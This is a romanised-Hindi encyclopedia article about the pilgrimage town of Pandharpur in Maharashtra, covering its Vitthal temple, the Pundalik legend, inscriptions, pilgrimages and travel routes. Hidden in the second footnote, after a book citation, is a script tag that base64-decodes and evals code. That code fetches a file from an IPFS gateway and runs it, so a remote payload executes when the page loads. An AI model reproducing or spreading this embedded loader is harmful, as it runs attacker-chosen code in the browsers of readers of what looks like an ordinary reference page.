पंढरपुर
pandharapur
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| vivaran | 'pandharapur' hinduoan ka prasiddh dharmik sthal hai. bhagavan vishnu ke avatar 'vithoba' aur unaki patni rukmini ke samman mean is shahar mean varsh mean char bar tyohar manae jate haian. | ||
| rajy | maharashtr | ||
| zila | sholapur | ||
| bhaugolik sthiti | sholapur se 38 mil pashchim ki or chandrabhaga nadi ke tat par sthit. | ||
| prasiddhi | hindoo tirth sthal | ||
| kab jaean | pandharapur mean grishm aur shit donoan hi mausam ka poora prabhav rahata hai. yahaan kabhi bhi aya ja sakata hai. | ||
| kaise pahuanchean | yahaan pahuanchane ke lie relamarg, s dakamarg tatha vayumarg tinoan ki vyavastha hai. | ||
| havaee adda | pune, mumbee | ||
| relave steshan | kurduvadi | ||
| kya dekhean | 'vitthal mandir', 'rukmininath mandir', 'puandalik mandir', 'lakhubaee mandir', 'padmavati mandir', 'aanbabaee mandir' aur 'lakhubaee mandir' adi. | ||
| sanbandhit lekh | maharashtr, maharashtr paryatan, maharashtr ka itihas, sholapur, pandharapur yatra, devagiri ka yadav vansh | prashasakiy bhasha | kann d, marathi |
| any janakari | manyataoan ke anusar bhakt puandalik ke smarak ke roop mean yahaan ka mandir bana hua hai. is mandir mean vithoba ke roop mean shrikrishna ki pooja ki jati hai. | ||
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pandharapur maharashtr rajy ka ek nagar aur prasiddh tirth sthan hai. yah pashchimi bharat ke dakshini maharashtr rajy mean bhima nadi[1] ke tat par sholapur nagar ke pashchim mean sthit hai. pauranik manyataoan ke anusar bhaktaraj puandalik ke smarak ke roop mean yahaan ka mandir bana hua hai. is mandir mean vithoba ke roop mean bhagavan shrikrishna ki pooja ki jati hai.
dharmik sthal
sholapur se 38 mil (lagabhag 60.8 ki.mi.) pashchim ki or chandrabhaga athava bhima nadi ke tat par maharashtr ka shayad yah sabase b da tirth hai. 11vian shati mean is tirth ki sthapana huee thi. s dak aur rel marg dvara asani se pahuanchane yogy pandharapur ek dharmik sthal hai, jahaan sal bhar hazaroan hiandoo tirthayatri ate haian. bhagavan vishnu ke avatar 'bithoba' aur unaki patni 'rukmini' ke samman mean is shahar mean varsh mean char bar tyohar manae jate haian. mukhy mandir ka nirman 12vian shatabdi mean devagiri ke yadav shasakoan dvara karaya gaya tha. yah shahar bhakti sanpraday ko samarpit marathi kavi santoan ki bhoomi bhi hai.
mukhy mandir
shri vitthal mandir yahaan ka mukhy mandir hai. yah mandir bahut vishal hai. nij mandir mean shripundarinath kamar par hath rakhe kh de haian. usi ghere mean hi rukminiji, balaramaji, satyabhama, jambavati tatha shriradha ke mandir haian. mandir mean pravesh karate samay dvar ke samip bhakt chokhamela ki samadhi hai. pratham sidhi par hi namadevaji ki samadhi hai. dvar ke ek or akha bhakti ki moorti hai.
pauranik katha
bhakt pundarik mata-pita ke param sevak the. ve mata-pita ki seva mean lage the, us samay shrikrishnachandr unhean darshan dene padhare. pundarik pita ke charan dabate rahe. bhagavan ko kh de hone ke lie unhoanne eeant saraka di; kiantu uthe nahian. bhagavan kamar par hath rakhe eeant par kh de rahe. seva se nivritt hone par pundarik ne bhagavan se isi roop mean yahaan sthit rahane ka varadan maang liya[2].
itihas
1159 shakabd[3] ke ek shilalekh mean jo yahaan se prapt hua tha, 'pandarige' kshetr ke gram nivasiyoan ke dvara varshashan diye jane ka ullekh hai. 1195 shakabd[4] ke doosare shilalekh mean pandharapur ke mandir ke lie die ge gadyanoan (suvarn mudraoan) ka varnan hai. in daniyoan mean karnatak, telangana, paithan, vidarbh adi ke nivasiyoan ke nam haian.
vastav mean pauranik kathaoan ke anusar bhaktaraj puandalik ke smarak ke roop mean yah mandir bana hua hai. isake adhishthata vithoba ke roop mean shrikrishna hai, jinhoanne bhakt puandalik ki pitribhakti se prasann hokar usake dvara pheanke hue ek patthar (vith ya eeant) ko hi saharsh apana asan bana liya tha. kaha jata hai ki vijayanagar naresh krishnadev vithoba ki moorti ko apane rajy mean le gaya tha, kintu phir vah ek maharashtriy bhakt ke dvara pandharapur vapas le jaee gee. 1117 ee. ke ek abhilekh se yah bhi siddh hota hai ki bhagavat sanpraday ke aantargat varakari granth ke bhaktoan ne vitthaladev ke poojanarth paryapt dhanarashi ekatr ki thi. is mandal ke adhyaksh the ramadev ray jadhav.[5]
yatra
[[chitr:Pandharpur-2.jpg|thumb|left|200px|ek vyakti bhagavan vitthal v rukmini ko sir par rakhakar le jata hua]] pandharapur ki yatra ajakal ashadh mean tatha kartik shukl ekadashi ko hoti hai. devashayani aur devotthan ekadashi ko barakari sampraday ke log yahaan yatra karane ke lie ate haian. yatra ko hi 'vari dena' kahate haian. bhakt puandharik is dham ke pratishthata mane jate haian. sant tukaram, jnaneshvar, namadev, raanka-baanka, narahari adi bhaktoan ki yah nivas sthali rahi hai. pandharapur bhima nadi ke tat par hai, jise yahaan chandrabhaga bhi kahate haian.
asapas ke darshaniy sthal
shri vitthal mandir ke sath hi yatri yahaan rukmininath mandir, puandalik mandir, lakhubaee mandir[6], aanbabaee mandir, vyas mandir, tryanbakeshvar mandir, panchamukhi maruti mandir, kalabhairav mandir aur shakaanbari mandir, mallikarjun mandir, dvarakadhish mandir, kala maruti mandir, gopalkrishna mandir aur shridhar svami samadhi mandir ke bhi darshan kar sakate haian. pandharapur ke jo devi mandir prasiddh haian, unamean 'padmavati', 'aanbabaee' aur 'lakhubaee' sabase prasiddh haian.[7] chandrabhaga ke par shrivallabhachary mahaprabhu ki baithak hai. 3 mil door ek gaanv mean janabaee ka mandir hai aur vah chakki hai, jise bhagavan ne chalaya tha.
kab jaean
pandharapur mean garmi aur ja da donoan hi mausam ka poora prabhav rahata hai. yahaan kabhi bhi aya ja sakata hai. chahe garmi, varsha ya thand ka mausam ho. garmiyoan (march-joon) ke dauran yahaan ka tapaman 42 digri tak pahuanch jata hai. jabaki manasoon (julaee-sitanbar) ke dauran yahaan samany barish hoti hai. ja de (navanbar-faravari) ke dauran yahaan ke mausam mean tho di ardrata ya nami hoti hai. is dauran yahaan ka tapaman 10 digri tak ja sakata hai. aktoobar se faravari ka mausam yahaan ane ka sabase behatarin samay mana jata hai, jab yatri yahaan ke asapas ke darshaniy sthaloan ka hi nahian, balki mandir ke utsavoan ka bhi anand le sakate haian. thumb|250px|snan karate log
kaise pahuanche
rel yatra - pandharapur, kurduvadi relave jankshan se ju da hua hai. kurduvadi jankshan se hokar latur eksapres (22108), muanbee eksapres (17032), husainasagar eksapres (12702), siddheshvar eksapres (12116) samet kee trene rojana muanbee jati haian. pandharapur se bhi pune ke raste muanbee ke lie rel chalati hai.
s dak marg - maharashtr ke kee shaharoan se pandharapur s dak parivahan ke jarie ju da hai. isake alava uttari karnatak aur uttar-pashchim aandhr pradesh se bhi pratidin yahaan ke lie basean chalati haian.
vayu marg - yahaan ka nikatatam ghareloo havaeeadda pune hai, jo lagabhag 245 kilomitar ki doori par hai. jabaki nikatatam aantarrashtriy havaeeadda muanbee mean sthit hai.
pramukh shaharoan se doori
- sangola se pandharapur ki doori 32 kilomitar hai.
- kurduvadi jankshan ki doori 52 kilomitar hai.
- isake atirikt sholapur 72 kilomitar, miraj 128 kilomitar aur ahamadanagar 196 kilomitar door sthit haian.
janasankhya
2001 ki janaganana ke anusar pandharapur ki janasankhya 91,381 hai.
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tika tippani aur sandarbh
- ↑ yahaan bhima nadi apane ghumavadar bahav ke karan 'chandrabhaga' kahalati hai.
- ↑ hindoooan ke tirth sthan |lekhak: sudarshan sianh 'chakr' |prishth sankhya: 188 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ = 1081 ee.
- ↑ = 1117 ee.
- ↑ (marathi vaandmaya chya itihas, pratham khand, prishth 334-351)
- ↑ ise rukmini mandir ke nam se jana jata hai
- ↑ pandharapur yatra mean shraddhalu karate haian bhagavan vitthal ka darshan (hindoo) aj tak. abhigaman tithi: 04 aprail, 2015.
sanbandhit lekh
varnamala kramanusar lekh khoj
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